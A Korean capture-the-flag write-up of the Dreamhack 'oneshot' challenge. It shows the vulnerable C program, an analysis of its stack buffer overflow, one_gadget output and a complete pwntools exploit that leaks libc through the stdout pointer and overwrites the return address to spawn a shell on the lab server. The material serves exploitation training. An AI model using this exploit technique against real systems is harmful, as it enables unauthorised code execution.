읽기 안내
Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.
환경

- 64bit
- Partial RELRO
- NX ON
- PIE ON
실습 코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\\n", stdout);
printf("MSG: ");
read(0, msg, 46);
if(check > 0) {
exit(0);
}
printf("MSG: %s\\n", msg);
memset(msg, 0, sizeof(msg));
return 0;
}
분석
1. 취약점 분석
- msg 배열의 길이는 16바이트. 그러나 read() 함수로 46바이트나 입력받는다.
- NX 보호가 적용되어 있으므로 셸코드 사용은 불가.
2. 익스플로잇
스택 프레임 구조 파악
0x0000000000000a91 <+80>: lea rax,[rbp-0x20] // rax = msg
0x0000000000000a95 <+84>: mov edx,0x2e // edx = 46
0x0000000000000a9a <+89>: mov rsi,rax // rsi = msg
0x0000000000000a9d <+92>: mov edi,0x0 // edi = 0
0x0000000000000aa2 <+97>: call 0x830 <read@plt> // read(0, msg, 46)
0x0000000000000aa7 <+102>: cmp QWORD PTR [rbp-0x8],0x0 // compare check, 0
0x0000000000000aac <+107>: je 0xab8 <main+119> // check == 0이면 main+119로 jump
0x0000000000000aae <+109>: mov edi,0x0
0x0000000000000ab3 <+114>: call 0x870 <exit@plt>

one gadget
$ one_gadget libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
첫 번째 gadget인 0x45216을 이용해서 익스플로잇 진행.
익스플로잇 코드

check는 0보다 크면 프로그램이 종료되기 때문에 0을 넣어줬고 RET 자리에는 쉘을 띄울 수 있도록 one gadget을 넣었다.
from pwn import *
def slog(name, addr): return success(': '.join([name, hex(addr)]))
p = remote('host3.dreamhack.games', 13002)
e = ELF('./oneshot')
libc = ELF('./libc.so.6')
one_gadget = 0x45216
p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1], 16)
base = stdout - libc.symbols['_IO_2_1_stdout_']
one_gadget = base + one_gadget
slog("STDOUT" , stdout)
slog("base", base)
slog("one_gadget", one_gadget)
payload = b'A' * 24
payload += b'\\x00' * 8
payload += b'B' * 8
payload += p64(one_gadget)
p.sendafter("MSG: ", payload)
p.interactive()
결과

작성 기록과 문제 출처
원문과 출처
풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.
원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.
이미지 원본 출처
다음 글